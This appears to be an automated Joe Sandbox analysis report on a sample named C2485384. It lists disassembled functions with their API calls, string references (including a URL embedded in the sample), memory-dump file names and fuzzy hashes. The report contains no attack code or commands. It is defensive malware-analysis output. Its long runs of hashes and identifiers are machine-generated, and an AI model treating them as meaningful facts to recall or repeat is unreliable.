Associated: 00000011.00000002.3816743352.000000000BC95000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816795626.000000000BC96000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816852114.000000000BC97000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816895616.000000000BC98000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817829222.000000000BCD6000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817909668.000000000BCD7000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820238314.000000000BD81000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820299762.000000000BD83000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820412054.000000000BD89000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820551344.000000000BD8C000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bb70000_C2485384.jbxd

Similarity

API ID: FileHandleWrite$Message
String ID: Error$Runtime error at 00000000
API String ID: 1570097196-2970929446
Opcode ID: 1fe794eceb9f4f63922810e31b07803ef0517869bd39b14cc5b4987816e5ea0e
Instruction ID: 9b5761325740cdb97938981e6d85c02c290cf3f3af9f0954695a2e53be6d31c9
Opcode Fuzzy Hash: 1fe794eceb9f4f63922810e31b07803ef0517869bd39b14cc5b4987816e5ea0e
Instruction Fuzzy Hash: 86F01D62AC5B447FEB70B2645C47F6926988784B16F5187C5F230B91D0AAA881C1873A

Function 6254049B Relevance: 12.1, APIs: 8, Instructions: 66memorystringCOMMON

Download Yara Rule

APIs

GlobalLock.KERNEL32(?), ref: 625404BA
lstrcmpA.KERNEL32(?,?), ref: 625404C6
OpenPrinterA.WINSPOOL.DRV(?,?,00000000), ref: 625404D8
DocumentPropertiesA.WINSPOOL.DRV(00000000,?,?,00000000,00000000,00000000,?,?,00000000), ref: 625404F8
GlobalAlloc.KERNEL32(00000042,00000000,00000000,?,?,00000000,00000000,00000000,?,?,00000000), ref: 62540500
GlobalLock.KERNEL32(00000000), ref: 6254050A
DocumentPropertiesA.WINSPOOL.DRV(00000000,?,?,00000000,00000000,00000002), ref: 62540517
ClosePrinter.WINSPOOL.DRV(?,00000000,?,?,00000000,00000000,00000002), ref: 6254052F

Part of subcall function 62546ABF: GlobalFlags.KERNEL32(?), ref: 62546ACE
Part of subcall function 62546ABF: GlobalUnlock.KERNEL32(?,?,00000000,?,62540529,?,00000000,?,?,00000000,00000000,00000002), ref: 62546AE0
Part of subcall function 62546ABF: GlobalFree.KERNEL32(?), ref: 62546AEB

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: Global$DocumentLockProperties$AllocCloseFlagsFreeOpenPrinterPrinter.Unlocklstrcmp
String ID:
API String ID: 168474834-0
Opcode ID: 998f96fd725fd8d3ab13b511092596c8524150ac64776643c90afb2292593f2c
Instruction ID: 0af31e95c089e24ca0f9628d16fc42eb3b79f7459c282635d40cd191e12b1d33
Opcode Fuzzy Hash: 998f96fd725fd8d3ab13b511092596c8524150ac64776643c90afb2292593f2c
Instruction Fuzzy Hash: 98113A72500605BBDB365BB6DC58DBBBEEDEBC9B08720441ABA01D2020DB35DE41DA60

Function 625504A6 Relevance: 10.7, APIs: 7, Instructions: 189COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 62550508
_memcpy_s.LIBCMT ref: 6255057D
__fileno.LIBCMT ref: 625505DD
__read.LIBCMT ref: 625505E4
__filbuf.LIBCMT ref: 62550608
_memset.LIBCMT ref: 6255064E
_memset.LIBCMT ref: 62550679

Part of subcall function 62552DCA: __getptd_noexit.LIBCMT ref: 62552DCA

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: _memset$__filbuf__fileno__getptd_noexit__read_memcpy_s
String ID:
API String ID: 3886058894-0
Opcode ID: 1fbf5b8c36af744d7ad7c7c55a42dd3cf52554194774a284ada08d73f85ea300
Instruction ID: ec85c878ff1b8731e594bc83173893cb28b6c739016a71b29e29a65794e3974a
Opcode Fuzzy Hash: 1fbf5b8c36af744d7ad7c7c55a42dd3cf52554194774a284ada08d73f85ea300
Instruction Fuzzy Hash: 40518371901615EBCB308FB9C864A9E7BB5AF8932CF10862BE835B6190D770DE71CB51

Function 6253C1D0 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 143COMMON

Download Yara Rule

APIs

_swscanf.LIBCMT ref: 6253C24E

Part of subcall function 62550968: _vscan_fn.LIBCMT ref: 6255097F

_swscanf.LIBCMT ref: 6253C283

Strings

' is not a number., xrefs: 6253C303
, xrefs: 6253C206
, xrefs: 6253C21C
%lf, xrefs: 6253C245, 6253C275

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: _swscanf$_vscan_fn
String ID: $ $%lf$' is not a number.
API String ID: 241522225-717049023
Opcode ID: b79e687c9e9716325af99be5e818f5fb4f145a069c0bb771bca75a91b5f86cee
Instruction ID: cbff66e1a6a6ca4002891f37d69445cb2bcbd5db525012b8d0836210ad032ee5
Opcode Fuzzy Hash: b79e687c9e9716325af99be5e818f5fb4f145a069c0bb771bca75a91b5f86cee
Instruction Fuzzy Hash: 7B512C75D0021DDBDB25CF94D960FEEBBB4AF98304F1091A9E459AB281EB305E44CFA0

Function 62518690 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 625186D2
_memset.LIBCMT ref: 625186E5
_memset.LIBCMT ref: 62518761
_memset.LIBCMT ref: 6251877A

Strings

PrsProt, xrefs: 62518700
2, xrefs: 625187DA

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: _memset
String ID: 2$PrsProt
API String ID: 2102423945-1774862053
Opcode ID: 69a5dedb3156a1d59af7c519d8d621d4a85cbc2131a60df573c11e25bb549cf8
Instruction ID: 765351fb4e35ada15a0cee8fde140a0b9cdce2da557a3e0bfdc75e8f470addf4
Opcode Fuzzy Hash: 69a5dedb3156a1d59af7c519d8d621d4a85cbc2131a60df573c11e25bb549cf8
Instruction Fuzzy Hash: C041B43150C3819BE335CF28D869BDBBBE8AFC5744F044919E98997241EB71AA08C793

Function 625301D0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 100COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 625301FE

Part of subcall function 62533FB0: _memset.LIBCMT ref: 62533FD8

_memset.LIBCMT ref: 6253023C
_memset.LIBCMT ref: 62530253
_memset.LIBCMT ref: 62530270

Part of subcall function 6252E110: LoadLibraryA.KERNEL32(version.dll,?,?,00000000), ref: 6252E14C

Strings

LanderScr, xrefs: 6253029F, 625302B0, 625302B5
http://www.LongZuYQ.com, xrefs: 625302C7, 625302D9, 625302E1

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: _memset$LibraryLoad
String ID: LanderScr$http://www.LongZuYQ.com
API String ID: 1275148839-1063765635
Opcode ID: bd9b73dc46d8d9ba3676cbd201098385e9200a06905d800a2aadba80826e7a07
Instruction ID: 76fe465426e168879be8753193369c35b8824808ed2cda6c07186e50da4189b6
Opcode Fuzzy Hash: bd9b73dc46d8d9ba3676cbd201098385e9200a06905d800a2aadba80826e7a07
Instruction Fuzzy Hash: D831D5B16483506BE371D724DC65FEBBBED9FC5304F44582DE98D87141FA319A0887A2

Function 0BBCF628 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 83filesynchronizationCOMMON

Download Yara Rule

APIs

UnmapViewOfFile.KERNEL32(00000000,00000000,0BBCF74D), ref: 0BBCF6CC
CloseHandle.KERNEL32(00000000,00000000,0BBCF74D), ref: 0BBCF6EC
ReleaseMutex.KERNEL32(?,00000000,0BBCF74D), ref: 0BBCF713
CloseHandle.KERNEL32(?,?,00000000,0BBCF74D), ref: 0BBCF71E

Strings

eno192, xrefs: 0BBCF6B0
eno198, xrefs: 0BBCF646

Memory Dump Source

Source File: 00000011.00000002.3812094055.000000000BB71000.00000020.00000001.01000000.00000011.sdmp, Offset: 0BB70000, based on PE: true

Associated: 00000011.00000002.3812056800.000000000BB70000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBD8000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBE1000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813923280.000000000BBE4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813965926.000000000BBE5000.00000020.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816678851.000000000BC93000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816743352.000000000BC95000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816795626.000000000BC96000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816852114.000000000BC97000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816895616.000000000BC98000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817829222.000000000BCD6000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817909668.000000000BCD7000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820238314.000000000BD81000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820299762.000000000BD83000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820412054.000000000BD89000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820551344.000000000BD8C000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bb70000_C2485384.jbxd

Similarity

API ID: CloseHandle$FileMutexReleaseUnmapView
String ID: eno192$eno198
API String ID: 809188715-4178521652
Opcode ID: c5ec9bea7102d6142f5169dd1d5bcf9a88a71208f5ac21e379cd099748dda4ed
Instruction ID: 40416e90c26eadafdd61c369311de57573557c4a9f81a3eb911b29bd3dca0c94
Opcode Fuzzy Hash: c5ec9bea7102d6142f5169dd1d5bcf9a88a71208f5ac21e379cd099748dda4ed
Instruction Fuzzy Hash: 57318C31611204CFD701FFB8D865A3A77E6EB88240B6184E9E510CB320EB39EE45CB64

Function 0BB71CE4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(0BBDB5CC), ref: 0BB71D13
LocalFree.KERNEL32(00000000,00000000,7'), ref: 0BB71D25
VirtualFree.KERNEL32(?,00000000,00008000,00000000,00000000,7'), ref: 0BB71D49
LocalFree.KERNEL32(00000000,00000000,00000000,7'), ref: 0BB71D9A
RtlLeaveCriticalSection.NTDLL(0BBDB5CC), ref: 0BB71DC8

Strings

7', xrefs: 0BB71CFA

Memory Dump Source

Source File: 00000011.00000002.3812094055.000000000BB71000.00000020.00000001.01000000.00000011.sdmp, Offset: 0BB70000, based on PE: true

Associated: 00000011.00000002.3812056800.000000000BB70000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBD8000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBE1000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813923280.000000000BBE4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813965926.000000000BBE5000.00000020.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816678851.000000000BC93000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816743352.000000000BC95000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816795626.000000000BC96000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816852114.000000000BC97000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816895616.000000000BC98000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817829222.000000000BCD6000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817909668.000000000BCD7000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820238314.000000000BD81000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820299762.000000000BD83000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820412054.000000000BD89000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820551344.000000000BD8C000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bb70000_C2485384.jbxd

Similarity

API ID: Free$CriticalLocalSection$EnterLeaveVirtual
String ID: 7'
API String ID: 4212268253-3510403523
Opcode ID: 471c5cc11cae4858a32f6997af8e8d3c485d86aaf64c9bf2b20eda023e7e2ae8
Instruction ID: 52b8116161f3bf4a52dfa4af82d95f373a443ae4f50d73db94f93022517e6e70
Opcode Fuzzy Hash: 471c5cc11cae4858a32f6997af8e8d3c485d86aaf64c9bf2b20eda023e7e2ae8
Instruction Fuzzy Hash: 03216D74A86604AFD721FBACD466F6C77E4EB49704F1244D6E224B3290EA39DA40DF70

Function 6254606D Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 66registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,software,00000000,0002001F,?), ref: 6254609D
RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,0002001F,00000000,?,?), ref: 625460C0
RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,0002001F,00000000,?,?), ref: 625460DC
RegCloseKey.ADVAPI32(?), ref: 625460EC
RegCloseKey.ADVAPI32(?), ref: 625460F6

Strings

software, xrefs: 62546085

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: CloseCreate$Open
String ID: software
API String ID: 1740278721-2010147023
Opcode ID: 43e62557660df1cf751515adda000ad0bc1dfe670e43e5cc86939e0fe75b93a6
Instruction ID: 8b22af71f881b985058208b91b5ae0b0cf1c16c449e0c1844313b7900b5b3069
Opcode Fuzzy Hash: 43e62557660df1cf751515adda000ad0bc1dfe670e43e5cc86939e0fe75b93a6
Instruction Fuzzy Hash: 3B11FB76D00219FB8B21DE9ACD84DEFFFBDEF89710B10406AB504A2121D771AA14DB61

Function 0BB7EC4C Relevance: 10.6, APIs: 7, Instructions: 56filewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 0BB7EAB4: VirtualQuery.KERNEL32(?,?,0000001C), ref: 0BB7EAD0
Part of subcall function 0BB7EAB4: GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 0BB7EAF4
Part of subcall function 0BB7EAB4: GetModuleFileNameA.KERNEL32(500BBDB6), ref: 0BB7EB0F
Part of subcall function 0BB7EAB4: LoadStringA.USER32(00000000,0000FFEA,?,00000100), ref: 0BB7EBB3

CharToOemA.USER32(?,?), ref: 0BB7EC83
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000,?,?,00000400), ref: 0BB7ECA0
WriteFile.KERNEL32(00000000,000000F4,?,00000000,?,00000000,?,?,00000400), ref: 0BB7ECA6
GetStdHandle.KERNEL32(000000F4,0BB7ED10,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?,00000400), ref: 0BB7ECBB
WriteFile.KERNEL32(00000000,000000F4,0BB7ED10,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?,00000400), ref: 0BB7ECC1
LoadStringA.USER32(00000000,0000FFEB,?,00000040), ref: 0BB7ECE3
MessageBoxA.USER32(00000000,?,?,00002010), ref: 0BB7ECF9

Memory Dump Source

Source File: 00000011.00000002.3812094055.000000000BB71000.00000020.00000001.01000000.00000011.sdmp, Offset: 0BB70000, based on PE: true

Associated: 00000011.00000002.3812056800.000000000BB70000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBD8000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBE1000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813923280.000000000BBE4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813965926.000000000BBE5000.00000020.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816678851.000000000BC93000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816743352.000000000BC95000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816795626.000000000BC96000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816852114.000000000BC97000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816895616.000000000BC98000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817829222.000000000BCD6000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817909668.000000000BCD7000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820238314.000000000BD81000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820299762.000000000BD83000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820412054.000000000BD89000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820551344.000000000BD8C000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bb70000_C2485384.jbxd

Similarity

API ID: File$HandleLoadModuleNameStringWrite$CharMessageQueryVirtual
String ID:
API String ID: 185507032-0
Opcode ID: 54fa0687835f957c1595b47bdc1334debf99e9a89b3ad710e0acc2ba3c4ad0bd
Instruction ID: f6f7290556654cb036ca71b1db338374cd8d9f9bc50fc78d4c7e887f94f58ea6
Opcode Fuzzy Hash: 54fa0687835f957c1595b47bdc1334debf99e9a89b3ad710e0acc2ba3c4ad0bd
Instruction Fuzzy Hash: 2D115AB6184304BFD200F6A4CC86F9B77ECAB85700F5049A5B764D70E0EE75EA448B62

Function 6251C400 Relevance: 9.2, APIs: 6, Instructions: 235synchronizationCOMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 6251C430

Part of subcall function 6254ED6C: __FF_MSGBANNER.LIBCMT ref: 6254ED8F
Part of subcall function 6254ED6C: __NMSG_WRITE.LIBCMT ref: 6254ED96
Part of subcall function 6254ED6C: HeapAlloc.KERNEL32(00000000,?,00000001,00000000,00000000,?,62558DFF,?,00000001,?,?,62557CE7,00000018,62578F08,0000000C,62557D78), ref: 6254EDE3

_memset.LIBCMT ref: 6251C45C
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,00000000,6251A83E,?,?,6251A96D), ref: 6251C46C
WaitForSingleObject.KERNEL32(?,00007530,?,00000000,00000000,?,?,?,00000000,6251A83E,?,?,6251A96D), ref: 6251C522

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
